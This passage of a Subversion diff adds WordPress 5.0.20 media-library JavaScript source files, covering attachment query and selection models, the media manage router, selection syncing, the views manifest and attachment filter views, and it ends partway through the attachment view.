+	 */
+	initialize: function( models, options ) {
+		var allowed;
+
+		options = options || {};
+		Attachments.prototype.initialize.apply( this, arguments );
+
+		this.args     = options.args;
+		this._hasMore = true;
+		this.created  = new Date();
+
+		this.filters.order = function( attachment ) {
+			var orderby = this.props.get('orderby'),
+				order = this.props.get('order');
+
+			if ( ! this.comparator ) {
+				return true;
+			}
+
+			// We want any items that can be placed before the last
+			// item in the set. If we add any items after the last
+			// item, then we can't guarantee the set is complete.
+			if ( this.length ) {
+				return 1 !== this.comparator( attachment, this.last(), { ties: true });
+
+			// Handle the case where there are no items yet and
+			// we're sorting for recent items. In that case, we want
+			// changes that occurred after we created the query.
+			} else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) {
+				return attachment.get( orderby ) >= this.created;
+
+			// If we're sorting by menu order and we have no items,
+			// accept any items that have the default menu order (0).
+			} else if ( 'ASC' === order && 'menuOrder' === orderby ) {
+				return attachment.get( orderby ) === 0;
+			}
+
+			// Otherwise, we don't want any items yet.
+			return false;
+		};
+
+		// Observe the central `wp.Uploader.queue` collection to watch for
+		// new matches for the query.
+		//
+		// Only observe when a limited number of query args are set. There
+		// are no filters for other properties, so observing will result in
+		// false positives in those queries.
+		allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent', 'author' ];
+		if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) {
+			this.observe( wp.Uploader.queue );
+		}
+	},
+	/**
+	 * Whether there are more attachments that haven't been sync'd from the server
+	 * that match the collection's query.
+	 *
+	 * @returns {boolean}
+	 */
+	hasMore: function() {
+		return this._hasMore;
+	},
+	/**
+	 * Fetch more attachments from the server for the collection.
+	 *
+	 * @param   {object}  [options={}]
+	 * @returns {Promise}
+	 */
+	more: function( options ) {
+		var query = this;
+
+		// If there is already a request pending, return early with the Deferred object.
+		if ( this._more && 'pending' === this._more.state() ) {
+			return this._more;
+		}
+
+		if ( ! this.hasMore() ) {
+			return jQuery.Deferred().resolveWith( this ).promise();
+		}
+
+		options = options || {};
+		options.remove = false;
+
+		return this._more = this.fetch( options ).done( function( resp ) {
+			if ( _.isEmpty( resp ) || -1 === this.args.posts_per_page || resp.length < this.args.posts_per_page ) {
+				query._hasMore = false;
+			}
+		});
+	},
+	/**
+	 * Overrides Backbone.Collection.sync
+	 * Overrides wp.media.model.Attachments.sync
+	 *
+	 * @param {String} method
+	 * @param {Backbone.Model} model
+	 * @param {Object} [options={}]
+	 * @returns {Promise}
+	 */
+	sync: function( method, model, options ) {
+		var args, fallback;
+
+		// Overload the read method so Attachment.fetch() functions correctly.
+		if ( 'read' === method ) {
+			options = options || {};
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action:  'query-attachments',
+				post_id: wp.media.model.settings.post.id
+			});
+
+			// Clone the args so manipulation is non-destructive.
+			args = _.clone( this.args );
+
+			// Determine which page to query.
+			if ( -1 !== args.posts_per_page ) {
+				args.paged = Math.round( this.length / args.posts_per_page ) + 1;
+			}
+
+			options.data.query = args;
+			return wp.media.ajax( options );
+
+		// Otherwise, fall back to Backbone.sync()
+		} else {
+			/**
+			 * Call wp.media.model.Attachments.sync or Backbone.sync
+			 */
+			fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone;
+			return fallback.sync.apply( this, arguments );
+		}
+	}
+}, /** @lends wp.media.model.Query */{
+	/**
+	 * @readonly
+	 */
+	defaultProps: {
+		orderby: 'date',
+		order:   'DESC'
+	},
+	/**
+	 * @readonly
+	 */
+	defaultArgs: {
+		posts_per_page: 40
+	},
+	/**
+	 * @readonly
+	 */
+	orderby: {
+		allowed:  [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ],
+		/**
+		 * A map of JavaScript orderby values to their WP_Query equivalents.
+		 * @type {Object}
+		 */
+		valuemap: {
+			'id':         'ID',
+			'uploadedTo': 'parent',
+			'menuOrder':  'menu_order ID'
+		}
+	},
+	/**
+	 * A map of JavaScript query properties to their WP_Query equivalents.
+	 *
+	 * @readonly
+	 */
+	propmap: {
+		'search':		's',
+		'type':			'post_mime_type',
+		'perPage':		'posts_per_page',
+		'menuOrder':	'menu_order',
+		'uploadedTo':	'post_parent',
+		'status':		'post_status',
+		'include':		'post__in',
+		'exclude':		'post__not_in',
+		'author':		'author'
+	},
+	/**
+	 * Creates and returns an Attachments Query collection given the properties.
+	 *
+	 * Caches query objects and reuses where possible.
+	 *
+	 * @static
+	 * @method
+	 *
+	 * @param {object} [props]
+	 * @param {Object} [props.cache=true]   Whether to use the query cache or not.
+	 * @param {Object} [props.order]
+	 * @param {Object} [props.orderby]
+	 * @param {Object} [props.include]
+	 * @param {Object} [props.exclude]
+	 * @param {Object} [props.s]
+	 * @param {Object} [props.post_mime_type]
+	 * @param {Object} [props.posts_per_page]
+	 * @param {Object} [props.menu_order]
+	 * @param {Object} [props.post_parent]
+	 * @param {Object} [props.post_status]
+	 * @param {Object} [props.author]
+	 * @param {Object} [options]
+	 *
+	 * @returns {wp.media.model.Query} A new Attachments Query collection.
+	 */
+	get: (function(){
+		/**
+		 * @static
+		 * @type Array
+		 */
+		var queries = [];
+
+		/**
+		 * @returns {Query}
+		 */
+		return function( props, options ) {
+			var args     = {},
+				orderby  = Query.orderby,
+				defaults = Query.defaultProps,
+				query,
+				cache    = !! props.cache || _.isUndefined( props.cache );
+
+			// Remove the `query` property. This isn't linked to a query,
+			// this *is* the query.
+			delete props.query;
+			delete props.cache;
+
+			// Fill default args.
+			_.defaults( props, defaults );
+
+			// Normalize the order.
+			props.order = props.order.toUpperCase();
+			if ( 'DESC' !== props.order && 'ASC' !== props.order ) {
+				props.order = defaults.order.toUpperCase();
+			}
+
+			// Ensure we have a valid orderby value.
+			if ( ! _.contains( orderby.allowed, props.orderby ) ) {
+				props.orderby = defaults.orderby;
+			}
+
+			_.each( [ 'include', 'exclude' ], function( prop ) {
+				if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) {
+					props[ prop ] = [ props[ prop ] ];
+				}
+			} );
+
+			// Generate the query `args` object.
+			// Correct any differing property names.
+			_.each( props, function( value, prop ) {
+				if ( _.isNull( value ) ) {
+					return;
+				}
+
+				args[ Query.propmap[ prop ] || prop ] = value;
+			});
+
+			// Fill any other default query args.
+			_.defaults( args, Query.defaultArgs );
+
+			// `props.orderby` does not always map directly to `args.orderby`.
+			// Substitute exceptions specified in orderby.keymap.
+			args.orderby = orderby.valuemap[ props.orderby ] || props.orderby;
+
+			// Search the query cache for a matching query.
+			if ( cache ) {
+				query = _.find( queries, function( query ) {
+					return _.isEqual( query.args, args );
+				});
+			} else {
+				queries = [];
+			}
+
+			// Otherwise, create a new query and add it to the cache.
+			if ( ! query ) {
+				query = new Query( [], _.extend( options || {}, {
+					props: props,
+					args:  args
+				} ) );
+				queries.push( query );
+			}
+
+			return query;
+		};
+	}())
+});
+
+module.exports = Query;
Index: /tags/5.0.20/src/wp-includes/js/media/models/selection.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models/selection.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models/selection.js	(revision 56912)
@@ -0,0 +1,97 @@
+var Attachments = wp.media.model.Attachments,
+	Selection;
+
+/**
+ * wp.media.model.Selection
+ *
+ * A selection of attachments.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments wp.media.model.Attachments
+ * @augments Backbone.Collection
+ */
+Selection = Attachments.extend(/** @lends wp.media.model.Selection.prototype */{
+	/**
+	 * Refresh the `single` model whenever the selection changes.
+	 * Binds `single` instead of using the context argument to ensure
+	 * it receives no parameters.
+	 *
+	 * @param {Array} [models=[]] Array of models used to populate the collection.
+	 * @param {Object} [options={}]
+	 */
+	initialize: function( models, options ) {
+		/**
+		 * call 'initialize' directly on the parent class
+		 */
+		Attachments.prototype.initialize.apply( this, arguments );
+		this.multiple = options && options.multiple;
+
+		this.on( 'add remove reset', _.bind( this.single, this, false ) );
+	},
+
+	/**
+	 * If the workflow does not support multi-select, clear out the selection
+	 * before adding a new attachment to it.
+	 *
+	 * @param {Array} models
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachment[]}
+	 */
+	add: function( models, options ) {
+		if ( ! this.multiple ) {
+			this.remove( this.models );
+		}
+		/**
+		 * call 'add' directly on the parent class
+		 */
+		return Attachments.prototype.add.call( this, models, options );
+	},
+
+	/**
+	 * Fired when toggling (clicking on) an attachment in the modal.
+	 *
+	 * @param {undefined|boolean|wp.media.model.Attachment} model
+	 *
+	 * @fires wp.media.model.Selection#selection:single
+	 * @fires wp.media.model.Selection#selection:unsingle
+	 *
+	 * @returns {Backbone.Model}
+	 */
+	single: function( model ) {
+		var previous = this._single;
+
+		// If a `model` is provided, use it as the single model.
+		if ( model ) {
+			this._single = model;
+		}
+		// If the single model isn't in the selection, remove it.
+		if ( this._single && ! this.get( this._single.cid ) ) {
+			delete this._single;
+		}
+
+		this._single = this._single || this.last();
+
+		// If single has changed, fire an event.
+		if ( this._single !== previous ) {
+			if ( previous ) {
+				previous.trigger( 'selection:unsingle', previous, this );
+
+				// If the model was already removed, trigger the collection
+				// event manually.
+				if ( ! this.get( previous.cid ) ) {
+					this.trigger( 'selection:unsingle', previous, this );
+				}
+			}
+			if ( this._single ) {
+				this._single.trigger( 'selection:single', this._single, this );
+			}
+		}
+
+		// Return the single model, or the last model as a fallback.
+		return this._single;
+	}
+});
+
+module.exports = Selection;
Index: /tags/5.0.20/src/wp-includes/js/media/routers/manage.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/routers/manage.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/routers/manage.js	(revision 56912)
@@ -0,0 +1,67 @@
+/**
+ * wp.media.view.MediaFrame.Manage.Router
+ *
+ * A router for handling the browser history and application state.
+ *
+ * @memberOf wp.media.view.MediaFrame.Manage
+ *
+ * @class
+ * @augments Backbone.Router
+ */
+var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{
+	routes: {
+		'upload.php?item=:slug&mode=edit': 'editItem',
+		'upload.php?item=:slug':           'showItem',
+		'upload.php?search=:query':        'search',
+		'upload.php':                      'reset'
+	},
+
+	// Map routes against the page URL
+	baseUrl: function( url ) {
+		return 'upload.php' + url;
+	},
+
+	reset: function() {
+		var frame = wp.media.frames.edit;
+
+		if ( frame ) {
+			frame.close();
+		}
+	},
+
+	// Respond to the search route by filling the search field and trigggering the input event
+	search: function( query ) {
+		jQuery( '#media-search-input' ).val( query ).trigger( 'input' );
+	},
+
+	// Show the modal with a specific item
+	showItem: function( query ) {
+		var media = wp.media,
+			frame = media.frames.browse,
+			library = frame.state().get('library'),
+			item;
+
+		// Trigger the media frame to open the correct item
+		item = library.findWhere( { id: parseInt( query, 10 ) } );
+		item.set( 'skipHistory', true );
+
+		if ( item ) {
+			frame.trigger( 'edit:attachment', item );
+		} else {
+			item = media.attachment( query );
+			frame.listenTo( item, 'change', function( model ) {
+				frame.stopListening( item );
+				frame.trigger( 'edit:attachment', model );
+			} );
+			item.fetch();
+		}
+	},
+
+	// Show the modal in edit mode with a specific item.
+	editItem: function( query ) {
+		this.showItem( query );
+		wp.media.frames.edit.content.mode( 'edit-details' );
+	}
+});
+
+module.exports = Router;
Index: /tags/5.0.20/src/wp-includes/js/media/utils/selection-sync.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/utils/selection-sync.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/utils/selection-sync.js	(revision 56912)
@@ -0,0 +1,66 @@
+/**
+ * wp.media.selectionSync
+ *
+ * Sync an attachments selection in a state with another state.
+ *
+ * Allows for selecting multiple images in the Add Media workflow, and then
+ * switching to the Insert Gallery workflow while preserving the attachments selection.
+ *
+ * @memberOf wp.media
+ *
+ * @mixin
+ */
+var selectionSync = {
+	/**
+	 * @since 3.5.0
+	 */
+	syncSelection: function() {
+		var selection = this.get('selection'),
+			manager = this.frame._selection;
+
+		if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+			return;
+		}
+
+		// If the selection supports multiple items, validate the stored
+		// attachments based on the new selection's conditions. Record
+		// the attachments that are not included; we'll maintain a
+		// reference to those. Other attachments are considered in flux.
+		if ( selection.multiple ) {
+			selection.reset( [], { silent: true });
+			selection.validateAll( manager.attachments );
+			manager.difference = _.difference( manager.attachments.models, selection.models );
+		}
+
+		// Sync the selection's single item with the master.
+		selection.single( manager.single );
+	},
+
+	/**
+	 * Record the currently active attachments, which is a combination
+	 * of the selection's attachments and the set of selected
+	 * attachments that this specific selection considered invalid.
+	 * Reset the difference and record the single attachment.
+	 *
+	 * @since 3.5.0
+	 */
+	recordSelection: function() {
+		var selection = this.get('selection'),
+			manager = this.frame._selection;
+
+		if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+			return;
+		}
+
+		if ( selection.multiple ) {
+			manager.attachments.reset( selection.toArray().concat( manager.difference ) );
+			manager.difference = [];
+		} else {
+			manager.attachments.add( selection.toArray() );
+		}
+
+		manager.single = selection._single;
+	}
+};
+
+module.exports = selectionSync;
Index: /tags/5.0.20/src/wp-includes/js/media/views.manifest.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views.manifest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views.manifest.js	(revision 56912)
@@ -0,0 +1,149 @@
+var media = wp.media,
+	$ = jQuery,
+	l10n;
+
+media.isTouchDevice = ( 'ontouchend' in document );
+
+// Link any localized strings.
+l10n = media.view.l10n = window._wpMediaViewsL10n || {};
+
+// Link any settings.
+media.view.settings = l10n.settings || {};
+delete l10n.settings;
+
+// Copy the `post` setting over to the model settings.
+media.model.settings.post = media.view.settings.post;
+
+// Check if the browser supports CSS 3.0 transitions
+$.support.transition = (function(){
+	var style = document.documentElement.style,
+		transitions = {
+			WebkitTransition: 'webkitTransitionEnd',
+			MozTransition:    'transitionend',
+			OTransition:      'oTransitionEnd otransitionend',
+			transition:       'transitionend'
+		}, transition;
+
+	transition = _.find( _.keys( transitions ), function( transition ) {
+		return ! _.isUndefined( style[ transition ] );
+	});
+
+	return transition && {
+		end: transitions[ transition ]
+	};
+}());
+
+/**
+ * A shared event bus used to provide events into
+ * the media workflows that 3rd-party devs can use to hook
+ * in.
+ */
+media.events = _.extend( {}, Backbone.Events );
+
+/**
+ * Makes it easier to bind events using transitions.
+ *
+ * @param {string} selector
+ * @param {Number} sensitivity
+ * @returns {Promise}
+ */
+media.transition = function( selector, sensitivity ) {
+	var deferred = $.Deferred();
+
+	sensitivity = sensitivity || 2000;
+
+	if ( $.support.transition ) {
+		if ( ! (selector instanceof $) ) {
+			selector = $( selector );
+		}
+
+		// Resolve the deferred when the first element finishes animating.
+		selector.first().one( $.support.transition.end, deferred.resolve );
+
+		// Just in case the event doesn't trigger, fire a callback.
+		_.delay( deferred.resolve, sensitivity );
+
+	// Otherwise, execute on the spot.
+	} else {
+		deferred.resolve();
+	}
+
+	return deferred.promise();
+};
+
+media.controller.Region = require( './controllers/region.js' );
+media.controller.StateMachine = require( './controllers/state-machine.js' );
+media.controller.State = require( './controllers/state.js' );
+
+media.selectionSync = require( './utils/selection-sync.js' );
+media.controller.Library = require( './controllers/library.js' );
+media.controller.ImageDetails = require( './controllers/image-details.js' );
+media.controller.GalleryEdit = require( './controllers/gallery-edit.js' );
+media.controller.GalleryAdd = require( './controllers/gallery-add.js' );
+media.controller.CollectionEdit = require( './controllers/collection-edit.js' );
+media.controller.CollectionAdd = require( './controllers/collection-add.js' );
+media.controller.FeaturedImage = require( './controllers/featured-image.js' );
+media.controller.ReplaceImage = require( './controllers/replace-image.js' );
+media.controller.EditImage = require( './controllers/edit-image.js' );
+media.controller.MediaLibrary = require( './controllers/media-library.js' );
+media.controller.Embed = require( './controllers/embed.js' );
+media.controller.Cropper = require( './controllers/cropper.js' );
+media.controller.CustomizeImageCropper = require( './controllers/customize-image-cropper.js' );
+media.controller.SiteIconCropper = require( './controllers/site-icon-cropper.js' );
+
+media.View = require( './views/view.js' );
+media.view.Frame = require( './views/frame.js' );
+media.view.MediaFrame = require( './views/media-frame.js' );
+media.view.MediaFrame.Select = require( './views/frame/select.js' );
+media.view.MediaFrame.Post = require( './views/frame/post.js' );
+media.view.MediaFrame.ImageDetails = require( './views/frame/image-details.js' );
+media.view.Modal = require( './views/modal.js' );
+media.view.FocusManager = require( './views/focus-manager.js' );
+media.view.UploaderWindow = require( './views/uploader/window.js' );
+media.view.EditorUploader = require( './views/uploader/editor.js' );
+media.view.UploaderInline = require( './views/uploader/inline.js' );
+media.view.UploaderStatus = require( './views/uploader/status.js' );
+media.view.UploaderStatusError = require( './views/uploader/status-error.js' );
+media.view.Toolbar = require( './views/toolbar.js' );
+media.view.Toolbar.Select = require( './views/toolbar/select.js' );
+media.view.Toolbar.Embed = require( './views/toolbar/embed.js' );
+media.view.Button = require( './views/button.js' );
+media.view.ButtonGroup = require( './views/button-group.js' );
+media.view.PriorityList = require( './views/priority-list.js' );
+media.view.MenuItem = require( './views/menu-item.js' );
+media.view.Menu = require( './views/menu.js' );
+media.view.RouterItem = require( './views/router-item.js' );
+media.view.Router = require( './views/router.js' );
+media.view.Sidebar = require( './views/sidebar.js' );
+media.view.Attachment = require( './views/attachment.js' );
+media.view.Attachment.Library = require( './views/attachment/library.js' );
+media.view.Attachment.EditLibrary = require( './views/attachment/edit-library.js' );
+media.view.Attachments = require( './views/attachments.js' );
+media.view.Search = require( './views/search.js' );
+media.view.AttachmentFilters = require( './views/attachment-filters.js' );
+media.view.DateFilter = require( './views/attachment-filters/date.js' );
+media.view.AttachmentFilters.Uploaded = require( './views/attachment-filters/uploaded.js' );
+media.view.AttachmentFilters.All = require( './views/attachment-filters/all.js' );
+media.view.AttachmentsBrowser = require( './views/attachments/browser.js' );
+media.view.Selection = require( './views/selection.js' );
+media.view.Attachment.Selection = require( './views/attachment/selection.js' );
+media.view.Attachments.Selection = require( './views/attachments/selection.js' );
+media.view.Attachment.EditSelection = require( './views/attachment/edit-selection.js' );
+media.view.Settings = require( './views/settings.js' );
+media.view.Settings.AttachmentDisplay = require( './views/settings/attachment-display.js' );
+media.view.Settings.Gallery = require( './views/settings/gallery.js' );
+media.view.Settings.Playlist = require( './views/settings/playlist.js' );
+media.view.Attachment.Details = require( './views/attachment/details.js' );
+media.view.AttachmentCompat = require( './views/attachment-compat.js' );
+media.view.Iframe = require( './views/iframe.js' );
+media.view.Embed = require( './views/embed.js' );
+media.view.Label = require( './views/label.js' );
+media.view.EmbedUrl = require( './views/embed/url.js' );
+media.view.EmbedLink = require( './views/embed/link.js' );
+media.view.EmbedImage = require( './views/embed/image.js' );
+media.view.ImageDetails = require( './views/image-details.js' );
+media.view.Cropper = require( './views/cropper.js' );
+media.view.SiteIconCropper = require( './views/site-icon-cropper.js' );
+media.view.SiteIconPreview = require( './views/site-icon-preview.js' );
+media.view.EditImage = require( './views/edit-image.js' );
+media.view.Spinner = require( './views/spinner.js' );
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment-compat.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment-compat.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment-compat.js	(revision 56912)
@@ -0,0 +1,85 @@
+var View = wp.media.View,
+	AttachmentCompat;
+
+/**
+ * wp.media.view.AttachmentCompat
+ *
+ * A view to display fields added via the `attachment_fields_to_edit` filter.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{
+	tagName:   'form',
+	className: 'compat-item',
+
+	events: {
+		'submit':          'preventDefault',
+		'change input':    'save',
+		'change select':   'save',
+		'change textarea': 'save'
+	},
+
+	initialize: function() {
+		this.listenTo( this.model, 'change:compat', this.render );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		if ( this.$(':focus').length ) {
+			this.save();
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		return View.prototype.dispose.apply( this, arguments );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+	 */
+	render: function() {
+		var compat = this.model.get('compat');
+		if ( ! compat || ! compat.item ) {
+			return;
+		}
+
+		this.views.detach();
+		this.$el.html( compat.item );
+		this.views.render();
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	preventDefault: function( event ) {
+		event.preventDefault();
+	},
+	/**
+	 * @param {Object} event
+	 */
+	save: function( event ) {
+		var data = {};
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		_.each( this.$el.serializeArray(), function( pair ) {
+			data[ pair.name ] = pair.value;
+		});
+
+		this.controller.trigger( 'attachment:compat:waiting', ['waiting'] );
+		this.model.saveCompat( data ).always( _.bind( this.postSave, this ) );
+	},
+
+	postSave: function() {
+		this.controller.trigger( 'attachment:compat:ready', ['ready'] );
+	}
+});
+
+module.exports = AttachmentCompat;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters.js	(revision 56912)
@@ -0,0 +1,77 @@
+var $ = jQuery,
+	AttachmentFilters;
+
+/**
+ * wp.media.view.AttachmentFilters
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{
+	tagName:   'select',
+	className: 'attachment-filters',
+	id:        'media-attachment-filters',
+
+	events: {
+		change: 'change'
+	},
+
+	keys: [],
+
+	initialize: function() {
+		this.createFilters();
+		_.extend( this.filters, this.options.filters );
+
+		// Build `<option>` elements.
+		this.$el.html( _.chain( this.filters ).map( function( filter, value ) {
+			return {
+				el: $( '<option></option>' ).val( value ).html( filter.text )[0],
+				priority: filter.priority || 50
+			};
+		}, this ).sortBy('priority').pluck('el').value() );
+
+		this.listenTo( this.model, 'change', this.select );
+		this.select();
+	},
+
+	/**
+	 * @abstract
+	 */
+	createFilters: function() {
+		this.filters = {};
+	},
+
+	/**
+	 * When the selected filter changes, update the Attachment Query properties to match.
+	 */
+	change: function() {
+		var filter = this.filters[ this.el.value ];
+		if ( filter ) {
+			this.model.set( filter.props );
+		}
+	},
+
+	select: function() {
+		var model = this.model,
+			value = 'all',
+			props = model.toJSON();
+
+		_.find( this.filters, function( filter, id ) {
+			var equal = _.all( filter.props, function( prop, key ) {
+				return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] );
+			});
+
+			if ( equal ) {
+				return value = id;
+			}
+		});
+
+		this.$el.val( value );
+	}
+});
+
+module.exports = AttachmentFilters;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/all.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/all.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/all.js	(revision 56912)
@@ -0,0 +1,111 @@
+var l10n = wp.media.view.l10n,
+	All;
+
+/**
+ * wp.media.view.AttachmentFilters.All
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{
+	createFilters: function() {
+		var filters = {},
+			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0;
+
+		_.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) {
+			filters[ key ] = {
+				text: text,
+				props: {
+					status:  null,
+					type:    key,
+					uploadedTo: null,
+					orderby: 'date',
+					order:   'DESC',
+					author:  null
+				}
+			};
+		});
+
+		filters.all = {
+			text:  l10n.allMediaItems,
+			props: {
+				status:  null,
+				type:    null,
+				uploadedTo: null,
+				orderby: 'date',
+				order:   'DESC',
+				author:  null
+			},
+			priority: 10
+		};
+
+		if ( wp.media.view.settings.post.id ) {
+			filters.uploaded = {
+				text:  l10n.uploadedToThisPost,
+				props: {
+					status:  null,
+					type:    null,
+					uploadedTo: wp.media.view.settings.post.id,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:  null
+				},
+				priority: 20
+			};
+		}
+
+		filters.unattached = {
+			text:  l10n.unattached,
+			props: {
+				status:     null,
+				uploadedTo: 0,
+				type:       null,
+				orderby:    'menuOrder',
+				order:      'ASC',
+				author:     null
+			},
+			priority: 50
+		};
+
+		if ( uid ) {
+			filters.mine = {
+				text:  l10n.mine,
+				props: {
+					status:		null,
+					type:		null,
+					uploadedTo:	null,
+					orderby:	'date',
+					order:		'DESC',
+					author:		uid
+				},
+				priority: 50
+			};
+		}
+
+		if ( wp.media.view.settings.mediaTrash &&
+			this.controller.isModeActive( 'grid' ) ) {
+
+			filters.trash = {
+				text:  l10n.trash,
+				props: {
+					uploadedTo: null,
+					status:     'trash',
+					type:       null,
+					orderby:    'date',
+					order:      'DESC',
+					author:     null
+				},
+				priority: 50
+			};
+		}
+
+		this.filters = filters;
+	}
+});
+
+module.exports = All;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/date.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/date.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/date.js	(revision 56912)
@@ -0,0 +1,41 @@
+var l10n = wp.media.view.l10n,
+	DateFilter;
+
+/**
+ * A filter dropdown for month/dates.
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{
+	id: 'media-attachment-date-filters',
+
+	createFilters: function() {
+		var filters = {};
+		_.each( wp.media.view.settings.months || {}, function( value, index ) {
+			filters[ index ] = {
+				text: value.text,
+				props: {
+					year: value.year,
+					monthnum: value.month
+				}
+			};
+		});
+		filters.all = {
+			text:  l10n.allDates,
+			props: {
+				monthnum: false,
+				year:  false
+			},
+			priority: 10
+		};
+		this.filters = filters;
+	}
+});
+
+module.exports = DateFilter;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/uploaded.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/uploaded.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment-filters/uploaded.js	(revision 56912)
@@ -0,0 +1,75 @@
+var l10n = wp.media.view.l10n,
+	Uploaded;
+
+/**
+ * wp.media.view.AttachmentFilters.Uploaded
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{
+	createFilters: function() {
+		var type = this.model.get('type'),
+			types = wp.media.view.settings.mimeTypes,
+			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0,
+			text;
+
+		if ( types && type ) {
+			text = types[ type ];
+		}
+
+		this.filters = {
+			all: {
+				text:  text || l10n.allMediaItems,
+				props: {
+					uploadedTo: null,
+					orderby: 'date',
+					order:   'DESC',
+					author:	 null
+				},
+				priority: 10
+			},
+
+			uploaded: {
+				text:  l10n.uploadedToThisPost,
+				props: {
+					uploadedTo: wp.media.view.settings.post.id,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:	 null
+				},
+				priority: 20
+			},
+
+			unattached: {
+				text:  l10n.unattached,
+				props: {
+					uploadedTo: 0,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:	 null
+				},
+				priority: 50
+			}
+		};
+
+		if ( uid ) {
+			this.filters.mine = {
+				text:  l10n.mine,
+				props: {
+					orderby: 'date',
+					order:   'DESC',
+					author:  uid
+				},
+				priority: 50
+			};
+		}
+	}
+});
+
+module.exports = Uploaded;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachment.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachment.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachment.js	(revision 56912)
@@ -0,0 +1,577 @@
+var View = wp.media.View,
+	$ = jQuery,
+	Attachment;
+
+/**
+ * wp.media.view.Attachment
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{
+	tagName:   'li',
+	className: 'attachment',
+	template:  wp.template('attachment'),
+
+	attributes: function() {
+		return {
+			'tabIndex':     0,
+			'role':         'checkbox',
+			'aria-label':   this.model.get( 'title' ),
+			'aria-checked': false,
+			'data-id':      this.model.get( 'id' )
+		};
+	},
+
+	events: {
+		'click':                          'toggleSelectionHandler',
+		'change [data-setting]':          'updateSetting',
+		'change [data-setting] input':    'updateSetting',
+		'change [data-setting] select':   'updateSetting',
+		'change [data-setting] textarea': 'updateSetting',
+		'click .attachment-close':        'removeFromLibrary',
+		'click .check':                   'checkClickHandler',
+		'keydown':                        'toggleSelectionHandler'
+	},
+
+	buttons: {},
+
+	initialize: function() {
+		var selection = this.options.selection,
